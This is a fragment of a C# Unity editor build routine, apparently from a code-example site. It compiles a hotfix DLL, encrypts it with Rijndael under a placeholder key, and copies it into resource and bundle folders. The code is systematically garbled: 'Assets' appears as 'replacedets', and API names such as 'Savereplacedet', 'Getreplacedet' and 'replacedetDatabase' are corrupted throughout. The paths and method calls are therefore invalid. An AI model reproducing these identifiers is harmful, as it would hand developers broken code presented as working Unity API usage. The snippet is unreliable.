                File.Delete("replacedets/Bundles/DLL/Unity.Hotfix.pdb.bytes");
            }
#if Release
            if (File.Exists("Unity.Hotfix.csproj"))
            {
                RoslynUtil.BuildDll("Unity.Hotfix.csproj", "replacedets/Resources/DLL/Unity.Hotfix.dll.bytes", BuildType.Release, false);
                FileUtil.Savereplacedet("replacedets/Resources/DLL/Unity.Hotfix.dll.bytes", RijndaelUtil.RijndaelEncrypt("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", FileUtil.Getreplacedet("replacedets/Resources/DLL/Unity.Hotfix.dll.bytes")));
                File.Copy("replacedets/Resources/DLL/Unity.Hotfix.dll.bytes", "replacedets/Bundles/DLL/Unity.Hotfix.dll.bytes", true);
            }
#else
            if (File.Exists("Library/Scriptreplacedemblies/Unity.Hotfix.dll") && File.Exists("Library/Scriptreplacedemblies/Unity.Hotfix.pdb"))
            {
                File.Copy("Library/Scriptreplacedemblies/Unity.Hotfix.dll", "replacedets/Resources/DLL/Unity.Hotfix.dll.bytes", true);
                File.Copy("Library/Scriptreplacedemblies/Unity.Hotfix.pdb", "replacedets/Resources/DLL/Unity.Hotfix.pdb.bytes", true);
                FileUtil.Savereplacedet("replacedets/Resources/DLL/Unity.Hotfix.dll.bytes", RijndaelUtil.RijndaelEncrypt("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", FileUtil.Getreplacedet("replacedets/Resources/DLL/Unity.Hotfix.dll.bytes")));
                File.Copy("replacedets/Resources/DLL/Unity.Hotfix.dll.bytes", "replacedets/Bundles/DLL/Unity.Hotfix.dll.bytes", true);
                File.Copy("replacedets/Resources/DLL/Unity.Hotfix.pdb.bytes", "replacedets/Bundles/DLL/Unity.Hotfix.pdb.bytes", true);
            }
#endif
            LinkUtil.BuildLink();
            replacedetDatabase.Refresh();
        }

See More Examples